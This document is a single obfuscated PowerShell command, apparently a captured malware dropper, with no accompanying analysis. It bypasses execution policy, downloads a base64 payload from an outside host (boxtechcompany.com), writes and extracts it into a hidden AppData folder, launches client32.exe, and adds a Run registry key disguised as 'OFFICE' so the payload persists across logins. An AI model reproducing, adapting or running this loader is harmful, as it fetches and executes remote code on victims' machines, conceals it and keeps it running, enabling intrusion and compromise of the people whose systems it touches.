"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tlKTCoiFaDOup='https://boxtechcompany.com/data.php?12832';$MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE=(New-Object System.Net.WebClient).DownloadString($tlKTCoiFaDOup);$hcdbUCzPICUNkogZrxNCH=[System.Convert]::FromBase64String($MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $PouJYLHtetKMlPErVVYBBuAYdHaGdtB=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -PathType Container)) { New-Item -Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -ItemType Directory };$p=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'vib.zip';[System.IO.File]::WriteAllBytes($p,$hcdbUCzPICUNkogZrxNCH);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$PouJYLHtetKMlPErVVYBBuAYdHaGdtB)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -Force; $FSDFSSD.attributes='Hidden';$s=$PouJYLHtetKMlPErVVYBBuAYdHaGdtB+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;